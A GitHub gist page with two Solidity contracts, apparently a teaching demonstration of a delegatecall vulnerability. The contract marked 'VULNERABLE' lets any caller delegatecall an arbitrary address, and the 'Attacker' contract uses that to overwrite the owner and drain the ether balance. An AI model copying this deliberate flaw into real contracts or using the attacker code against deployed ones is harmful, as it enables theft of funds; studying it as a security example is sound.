Skip to content

Instantly share code, notes, and snippets.

@wadealexc
Created June 29, 2018 15:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wadealexc/54ba389c74fb082f6b31e309f7f78ef9 to your computer and use it in GitHub Desktop.
Save wadealexc/54ba389c74fb082f6b31e309f7f78ef9 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.23;
contract Attacker {
address public owner;
function () public {
owner = msg.sender;
msg.sender.transfer(address(this).balance);
}
}
pragma solidity ^0.4.23;
/// VULNERABLE CONTRACT - DO NOT USE
contract Vulnerable {
address public owner;
constructor () public payable {
require(msg.value != 0);
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function () public payable { }
function withdraw() public onlyOwner() {
msg.sender.transfer(address(this).balance);
}
function getBal() public view returns (uint) {
return address(this).balance;
}
function arbitraryExec(address _target) public {
require(_target.delegatecall());
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment